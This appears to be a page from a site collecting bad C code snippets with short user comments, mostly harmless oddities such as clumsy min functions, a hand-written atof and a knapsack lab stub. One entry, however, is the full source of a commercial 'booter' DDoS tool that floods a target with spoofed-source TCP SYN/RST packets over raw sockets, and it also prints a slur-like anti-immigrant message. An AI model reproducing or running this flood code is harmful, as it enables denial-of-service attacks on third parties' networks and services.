if (argv[1][0]=='D'){
                demo=1;
                argv[1]++;
        }

        if (argv[1][0]=='P'){
                if (sscanf(argv[1], "P%ux%ux%ux%ux%lfx%ux%u"
                                ,&temporal_resample
                                ,&input_w, &input_h, &rate, &input_gamma
                                ,&output_w
                                ,&output_h)!=7){
                        fprintf(stderr,"%s: Invalid argument format\n", progname);
                        print_usage();
                        exit(3);
                }
                ppm=1; 
         }else{
                if (sscanf(argv[1], "%ux%ux%ux%ux%lfx%ux%u"
                                ,&temporal_resample
                                ,&input_w
                                ,&input_h
                                ,&rate
                                ,&input_gamma
                                ,&output_w
                                ,&output_h)!=7){
                        fprintf(stderr,"%s: Invalid argument format\n", progname);
                        print_usage();
                        exit(3);
                }

Found in a chroma subsampling algorithm.

By Anonymous, 2021-03-18 19:51:47
#define omae
#define wa (void)0
#define mou (void)0
#define shinderu ;
#define nani (void)
#define return 0; return

int main(void) {
    omae wa, mou shinderu
    nani!
    return 0;
}
By Nobody cares, 2020-05-19 06:46:01
//
//
// SYBEX 3.0 BOOTER.PW
//
//  Specially made to Serial from Alemalakra.
//
//  Type: TCP-RST Spoofed Bypass PPS.
//  Price: ????????
//  Version: 3.0
//  
//  "-1" PPS For use all Packets-Per-Second.
//  "0" on Port for send Destination-ports fully random, New Bypass.
//  Improved whole script, Works on most targets, Including digital ocean and Hetzner.
//
//

#include<stdio.h>
#include<string.h> //memset
#include<sys/socket.h>
#include<stdlib.h> //for exit(0);
#include<errno.h> //For errno - the error number
#include<netinet/tcp.h>   //Provides declarations for tcp header
#include <arpa/inet.h>
#include<netinet/ip.h>    //Provides declarations for ip header
#include <pthread.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>
#include <time.h>
static unsigned int floodport;
#define BUFFER_SIZE 100
char sourceip[17];
volatile int limiter; // PPS Limitator.
volatile unsigned int pps; // PPS per Second, Global variable including for Threads.
volatile unsigned int sleeptime = 100; // Sleep in miliseconds for each packet if pps exeded.

volatile unsigned int lenght_pkt = 0;
struct pseudo_header
{
    u_int32_t source_address;
    u_int32_t dest_address;
    u_int8_t placeholder;
    u_int8_t protocol;
    u_int16_t tcp_length;
    struct tcphdr tcp;
};

unsigned short checksum_tcp_packet(unsigned short *ptr,int nbytes) {
    register long sum;
    unsigned short oddbyte;
    register short answer;
 
    sum=0;
    while(nbytes>1) {
        sum+=*ptr++;
        nbytes-=2;
    }
    if(nbytes==1) {
        oddbyte=0;
        *((u_char*)&oddbyte)=*(u_char*)ptr;
        sum+=oddbyte;
    }
 
    sum = (sum>>16)+(sum & 0xffff);
    sum = sum + (sum>>16);
    answer=(short)~sum;
     
    return(answer);
}

void *mexico(void *par1)
{

    // Make socket

    int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);


    if(s == -1)
    {
        perror("[!] For use Script you need root stupid...");
        exit(1);
    }


    // Declares

    char *targettr = (char *)par1;

    char datagram[4096] , source_ip[32] , *data , *pseudogram;

    //zero out the packet buffer
    memset (datagram, 0, 4096);

    //IP header
    struct iphdr *iph = (struct iphdr *) datagram;

    //TCP header
    struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
    struct sockaddr_in sin;
    struct pseudo_header psh;

    //Data part
    data = datagram + sizeof(struct iphdr) + sizeof(struct tcphdr);
    if (lenght_pkt == 0)  { // bypass pps
        data = "";
    }


    // Source Address and Such.


    char primera [ 20 ] ;


    int one_r = randommexico(1, 250);
    int two_r = randommexico(1, 250);
    int three_r = randommexico(1, 250);
    int four_r = randommexico(1, 250);
    snprintf(primera, sizeof(primera)-1, "%d.%d.%d.%d", one_r, two_r, three_r, four_r);
    
    snprintf(sourceip, sizeof(sourceip)-1, primera);
    strcpy(source_ip , sourceip);
    sin.sin_family = AF_INET;


    int rdzeroport;

    if (floodport == 0) {
        rdzeroport = randommexico(2, 65535);

        sin.sin_port = htons(rdzeroport);
        tcph->dest = htons (rdzeroport);

    } else {

        sin.sin_port = htons(floodport);
        tcph->dest = htons (floodport);

    }



    sin.sin_addr.s_addr = inet_addr (targettr);
    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;
    iph->tot_len = sizeof (struct iphdr) + sizeof (struct tcphdr) + strlen(data);
    iph->id = htons(1);
    iph->frag_off = 0;
    iph->ttl = 64;
    iph->protocol = IPPROTO_TCP;
    iph->check = 0; 
    iph->saddr = inet_addr ( source_ip );  
    iph->daddr = sin.sin_addr.s_addr;
    iph->check = checksum_tcp_packet ((unsigned short *) datagram, iph->tot_len);
    int randSeq = randommexico(10000, 99999);
    int randAckSeq = randommexico(10000, 99999);
    int randSP = randommexico(2, 65535);
    int randPD = randommexico(2, 65535);
    int randttl = randommexico(1, 255);
    int randihl = randommexico(4, 7);
    int randWin = randommexico(1000, 9999);
    tcph->source = randSP;

    tcph->seq = randSeq;
    tcph->ack_seq = 0;
    tcph->doff = 5;
    tcph->fin=0;
    tcph->syn=1;
    tcph->rst=0;
    tcph->psh=0;
    tcph->ack=0;
    tcph->urg=0;
    tcph->window = randWin;
    tcph->check = 0;
    tcph->urg_ptr = 0;

    psh.source_address = inet_addr( source_ip );
    psh.dest_address = sin.sin_addr.s_addr;
    psh.placeholder = 0;
    psh.protocol = IPPROTO_TCP;
    psh.tcp_length = htons(sizeof(struct tcphdr) + strlen(data) );


    int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + strlen(data);
    pseudogram = malloc(psize);
     
    memcpy(pseudogram , (char*) &psh , sizeof (struct pseudo_header));
    memcpy(pseudogram + sizeof(struct pseudo_header) , tcph , sizeof(struct tcphdr) + strlen(data));
     
    tcph->check = checksum_tcp_packet( (unsigned short*) pseudogram , psize);


    //tcph->check = checksum_tcp_packet( (unsigned short*) &psh , sizeof (struct pseudo_header));
    int one = 1;
    const int *val = &one;
    if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
    {
        exit(0);
    }
    int i;
    while (1)
    {
        //Send the packet
        if (sendto (s, datagram, iph->tot_len ,  0, (struct sockaddr *) &sin, sizeof (sin)) < 0)       /* a normal send() */
        {
            printf ("[!] Error sending Packet!\n");
            exit(0);
        } else {
            one_r = randommexico(1, 250);
            two_r = randommexico(1, 250);
            three_r = randommexico(1, 250);
            four_r = randommexico(1, 250);
            snprintf(primera, sizeof(primera)-1, "%d.%d.%d.%d", one_r, two_r, three_r, four_r);
            snprintf(sourceip, sizeof(sourceip)-1, primera);
            strcpy(source_ip , sourceip);

            iph->saddr = inet_addr ( source_ip ); 
            psh.source_address = inet_addr( source_ip );
            if (lenght_pkt == 0) { // bypass pps
                data = "";
            }


            if (floodport == 0) {
                rdzeroport = randommexico(2, 65535);

                sin.sin_port = htons(rdzeroport);
                tcph->dest = htons (rdzeroport);

            } else {

                sin.sin_port = htons(floodport);
                tcph->dest = htons (floodport);
                
            }


            randSeq = randommexico(10000, 99999);
            randAckSeq = randommexico(10000, 99999);
            randSP = randommexico(2, 65535);
            randPD = randommexico(2, 65535);
            randttl = randommexico(1, 255);
            randWin = 512;

            tcph->source = randSP;
            tcph->doff = 5;      /* first and only tcp segment */
            tcph->seq = htons(randSeq);
            tcph->ack  = 0;
            tcph->ack_seq = 0;
            tcph->psh  = 0; 
            tcph->fin  = 0;
            tcph->rst  = 1;
            tcph->res2 = 0;
            tcph->doff = 5;
            tcph->syn = 0; 
            tcph->urg  = 0;
            tcph->urg_ptr = 0;

            tcph->window = htons(0);
            tcph->check = 0;

            iph->tot_len = sizeof (struct iphdr) + sizeof (struct tcphdr) + strlen(data);
            iph->protocol = IPPROTO_TCP;
            iph->check = 0;      //Set to 0 before calculating checksum
            iph->daddr = sin.sin_addr.s_addr;
            iph->check = checksum_tcp_packet ((unsigned short *) datagram, iph->tot_len);

            psh.tcp_length = htons(sizeof(struct tcphdr) + strlen(data) );
            int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + strlen(data);
            pseudogram = malloc(psize);
             
            memcpy(pseudogram , (char*) &psh , sizeof (struct pseudo_header));
            memcpy(pseudogram + sizeof(struct pseudo_header) , tcph , sizeof(struct tcphdr) + strlen(data));
             
            tcph->check = checksum_tcp_packet( (unsigned short*) pseudogram , psize);
            int one = 1;
            const int *val = &one;
            if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
            {
                exit(0);
            }
            pps++;
            if(i >= limiter)
            {
                i = 0;
            }
            i++;
        }   
    }
}
int randommexico(int min, int max) {
   static bool first = true;
   if (first) {  
      srand( time(NULL) );
      first = false;
   }
   return min + rand() % (max + 1 - min);
}
int main(int argc, char *argv[ ])
{
    if(argc < 6){
        fprintf(stderr, "[!] Sybex 3.0 Priv8 TCP Bypass by Alemalakra.\n");
        fprintf(stdout, "[!] Usage: %s <IP> <PORT> <THREADS> <TIME> <PPS>\n", argv[0]);
        exit(-1);
    }
    int multiplier = 20;
    pps = 0;
    limiter = 0;

    // Arguments of Method.

    floodport = atoi(argv[2]);
    void * target = argv[1];
    int maxim_pps = atoi(argv[5]);
    int num_threads = atoi(argv[3]);
    lenght_pkt = 0;
    pthread_t thread[num_threads];
    int alem = 0;
    int i;
    for(alem = 0;alem<num_threads;alem++){
      pthread_create( &thread[alem], NULL, &mexico, (void *)argv[1]); // Target
    }
    fprintf(stdout, "[!] Sending attack, Please stop inmigrants!\n");
     
    return 0;
}

alems shitty ass code

By Alemalakra, 2020-05-14 16:18:58
#include <stdio.h>
#include<stdlib.h>
#include<time.h>

void randy(int array[] ){
int i = 0  , d = 0;
		for(i = 1 ; i <= 23 ; i++){
			
			array[i] =  1 + (rand() % 365 ); 
		}
	}

int compare (const void * a, const void * b)
{
return ( *(int*)a - *(int*)b );
}



int find (int arr[]){
 int d = 0;
 	
 	for(d = 1  ;d <=23 ; d++ ){
 		
		 if(arr[d] == 	 arr[d + 1]){
		 	return 1;
		 }
	 }
	
	return 0;
}

int main(void){
	 double count_birthday = 0;
	int  people[24];
  
	srand(time(NULL));
	
	int c = 0 ;
	long double ip = 0;
	
	
	
	while(ip++ <= 1000000 ){
		

		randy(people);
		qsort (people, 25, sizeof(int), compare);
		if(find (people) == 1 ){
			count_birthday++;
		}

	}

printf("%.2lf", 	count_birthday  / 10000  );
return 0;
}
By lazy_8, 2020-03-04 13:14:05
double func_atof(char *p){
	double	 integer = 0.0, div = 1.0 , fract = 0.0 , sign = 1.0;
   if(   *p == 45  ){sign = -1.0, *p++ ; }
	while ( isdigit(*p)  ) { 
		integer = ( *p++ )  +  (10.0   *   integer)  -  48.0 ; 
		}
	if(*p == 46  ){
	(*p++ ) ;
	while (  isdigit(*p) )  {
		fract = ( *p++ )  +  (10.0   *   fract)  -  48.0  ; 
		div *= 10;		
		}
    }
  return    (integer  +   fract  / div )  * sign    ;
}
By Lazy_8, 2020-01-13 16:53:53
		if (wiringPiMode == WPI_MODE_PINS)
			pin = pinToGpio[pin];
		else if (wiringPiMode == WPI_MODE_PHYS)
			pin = physToGpio[pin];
		else if (wiringPiMode != WPI_MODE_GPIO)
			return;

the 3rd condition check throws you right off the train of logic.

By Gordon Henderson, 2019-07-23 06:05:05
void destroy_phone(T9obj* ptr_T9Obj){
    free(ptr_T9Obj);
}

Such thoughtful name!

By farhanhubble, 2019-05-30 08:57:39
#include<stdio.h>
#include<stdlib.h>	
#include<string.h>	
	int main(void){
	void run_func(char *map[], char *fnt  , char *km , float *x ,  float *y , int line , int row , int lift    );
				char *long_met[3][8] = {{"mile","0.621371"  ,  "yard","1093.61" , "fut","3280.84" , "duim","39370.1" } ,
							{ "mile" ,"1.60934" , "yard","0.0009144" ,  "fut","0.0003048" ,  "duim","0.0000254"},
 			   				{"kilometer","1"  , "meter","1000"  ,   "stmeter","100000" ,   "mmeter","1000000" } }; 
				char *amount[3][4] = { { "gallon" , "0.264172" ,       "quarta" , "1.05669"     } , 
						{"gallon" , " 3.78541"  ,     "quarta" , "0.946353"   },
						{"litr" , "1"  , "mililitr" , "1000"   }};
				char *mass[3][8] = {   {"eng.tonna","0.984207"  ,  "amer.tonna","1.10231" , "stone","157.473" , "funt","2204.62" } ,
   						{ "eng.tonna" , "1.01605" , "amer.tonna", "0.907185" ,  "stone","0.00635029" ,  "funt","0.000453592"},
						{"tonna","1" ,         "kilogram" , "1000"  , "miligram","100000"   , "microgram","1000000"  }}; 
				char **cp;
				char *buf_data;
				char *fnt_sys;
				char *mtr_sys;
				char *word[100];
	while(1){
	int bg  = 0,convert_ch = 3,y = 0, d = 0, numb = 0;
  	float mn =0  , xm = 0 ;
	printf("%s", "enter data for converter: ");
		fgets( (char *) word, 99 ,stdin);
		buf_data = strtok((char *) word, " ");
		if( ! strcmp(buf_data, "funt.sys"   )     ){
		convert_ch = 0;	
		}
		else	if( ! strcmp(buf_data, "metric.sys"    )     ){
			convert_ch = 1;	
		}
		for( bg = 0 ;  buf_data != NULL;  buf_data = strtok(NULL, " ")  , bg++ ) {
			switch(bg){
				case 1:
					if( !strcmp("long_met" , buf_data  )  ){
			  			 y	=   sizeof(*long_met) / sizeof(long_met[0][0]); 
	          	      	                 d	=   sizeof(long_met) /   sizeof(long_met[0][0]); 
			  		        cp  = &long_met[convert_ch][0]  ;
					}
			   		else if(!strcmp("amount" , buf_data  ) ){
			  			 y	= sizeof(*amount) /  sizeof(amount [0][0]); 
		            	                 d	= sizeof(amount) /  sizeof(amount[0][0]); 
				    	        cp = &amount[convert_ch][0] ;
					}
				 	else if(!strcmp("mass" , buf_data  ) ){
				  		 y	= sizeof(*mass ) /  sizeof(mass[0][0]); 
		         		         d	= sizeof(mass ) /  sizeof(mass[0][0]); 
				 		 cp = &mass[convert_ch][0] ; 
					}
					break;
				case 2:
				fnt_sys = buf_data;
					break;
				case 3:
				mtr_sys = buf_data;
					break;
				case 4:
				numb =   atoi(buf_data);
					break;
			}
		}
		if( !y || !d || !cp || convert_ch == 3 || !numb ){
	
			puts("error");
		}
		else{
			run_func( cp,   fnt_sys ,  mtr_sys , &mn ,  &xm , y  , d , convert_ch );
			if( !mn || !xm  ){
		puts("error");
				} else{
			printf("%f\n" , !convert_ch  ?    (mn  /  xm ) * numb :  (  mn  *  xm   ) * numb         );	
			}
		}
	}
	return 0;
	}
	void run_func(char *map[], char *fnt  , char *km , float *x ,  float *y , int line , int row  , int lift    ){
		int m ;
	if(  ( lift )   ){
			row    -= line;	
		}
	for(  m = 0 ; m <= line   ; m++){
		if(!strcmp(fnt,map[m])){
			*x = atof(map[m  + 1] )  ;
			break;
			}
		}
	for( m =   (row  - line) ; m <=  row - 1  ; m++){
		if( !strcmp( km   ,  map[m] ) ){
			*y = atof(map[m  + 1 ] );
			break;
				}
			}
		}
By Gne4do, 2019-02-26 14:38:14

// enum - full enumeration of knapsack solutions
// (C) Joshua Knowles

#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include <stdbool.h>

FILE *fp;  // file pointer for reading the input files
int Capacity;     // capacity of the knapsack (total weight that can be stored)
int Nitems;    // number of items available
int *item_weights;  // vector of item weights
int *item_values;  // vector of item profits or values
int *temp_indexes;  // list of temporary item indexes for sorting items by value/weight
int QUIET=0; // this can be set to 1 to suppress output

extern void read_knapsack_instance(char *filename);
extern void print_instance();
extern void sort_by_ratio();
extern int check_evaluate_and_print_sol(int *sol,  int *total_value, int *total_weight);
void enumerate();
int next_binary(int *str, int Nitems);

int main(int argc, char *argv[])
{
  read_knapsack_instance(argv[1]);
  print_instance();
  enumerate();
  return(0);
}

void enumerate()
{
  // Do an exhaustive search (aka enumeration) of all possible ways to pack
  // the knapsack.
  // This is achieved by creating every binary solution vector of length Nitems.
  // For each solution vector, its value and weight is calculated.


  int i;  // item index
  int solution[Nitems+1];   // (binary) solution vector representing items packed
  int best_solution[Nitems+1];  // (binary) solution vector for best solution found
  int best_value; // total value packed in the best solution
  double j=0;
  int total_value, total_weight; // total value and total weight of current knapsack solution
  int infeasible;  // 0 means feasible; -1 means infeasible (violates the capacity constraint)

  // set the knapsack initially empty
  for(i=1;i<=Nitems;i++)
    {
      solution[i]=0;
    }
  QUIET=1;
  best_value=0;

 while(!(next_binary(&solution[1], Nitems)))
    {

      /* ADD CODE IN HERE TO KEEP TRACK OF FRACTION OF ENUMERATION DONE */

          // calculates the value and weight and feasibility:
      infeasible=check_evaluate_and_print_sol(solution, &total_value, &total_weight);  
      /* ADD CODE IN HERE TO KEEP TRACK OF BEST SOLUTION FOUND*/

    }
 /* ADD CODE TO PRINT OUT BEST SOLUTION */

}


int next_binary(int *str, int Nitems)
{
  // Called with a binary string of length Nitems, this 
  // function adds "1" to the string, e.g. 0001 would turn to 0010.
  // If the string overflows, then the function returns 1, else it returns 0.
  int i=Nitems-1;
  while(i>=0)
    {
      if(str[i]==1)
	{
	  str[i]=0;
	  i--;
	}
      else
	{
	  str[i]=1;
	  break;
	}
    }
  if(i==-1)
    {
      return(1);
    }
  else
    {
      return(0);
    }
}

A genuine UoM lab.

By Joshua Knowles, 2018-02-23 10:58:03
...
if (alignEntrySize & 1)
    alignEntrySize++;
if (alignEntrySize & 2)
    alignEntrySize += 2;
...
By dzuma, 2018-02-08 18:19:17
case ClientMessage:    
    if (*XGetAtomName(GLWin.dpy, event.xclient.message_type)
        == *"WM_PROTOCOLS")
        {   printf("Exiting sanely...\n");
            done = True;
        }
    break;

someone just want to watch the world burn

By Anonymous, 2018-01-07 13:01:05
int true = 0;
while (true)
{
    //do something
}

true = false

By noz1995, 2017-12-15 16:08:59
file = fopen(argv[1], "r");

if (file == NULL){}
    exit(EXIT_FAILURE);

Those silly curly braces.

By Anonymous, 2017-12-14 05:47:47
int minimum(int a, int b, int c){
  int mini =a*b*c;
  int iterator=0;
  int test[3];
  test[0]=a;
  test[1]=b;
  test[2]=c;
  for (iterator=0;iterator<3;iterator++){
    if (test[iterator]<mini){
      mini=test[iterator];
    }
  }
  return mini;
}

I hope that your 3 numbers aren't larger than 1290!

By Another random student of algorithms., 2017-12-14 01:28:18
int min(int a,int b,int c) //Function to return the minimum.
{
  if(a < b)
  {
    if(a < c)return a;
    else if(a > c)return c;
    else return a;
  }
  else if(a > b)
  {
    if(b < c)return b;
    else if(b > c)return c;
    else return b;
  }
  else
  {
    if(a < c) return a;
    else if(a > c) return c;
    else return a;
  }
}

This kind of things make me hate my work.

By Another random student of algorithms., 2017-12-14 00:45:52